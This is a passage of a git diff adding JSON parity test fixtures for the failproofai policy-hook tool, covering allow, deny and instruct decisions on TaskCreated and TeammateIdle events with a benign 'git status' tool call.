b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ab3d6ed5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9897bf7c --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b7dc753d --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c59749f6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..928d233d --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ced86b44 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e55fa40b --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fe7f88aa --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ca0b6119 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ced3b8f3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c9f751b6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..75def129 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..837d495d --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..50935d23 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..26fb7fee --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7f121912 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..bc022ab6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2c3742bd --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b6f0b55c --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git 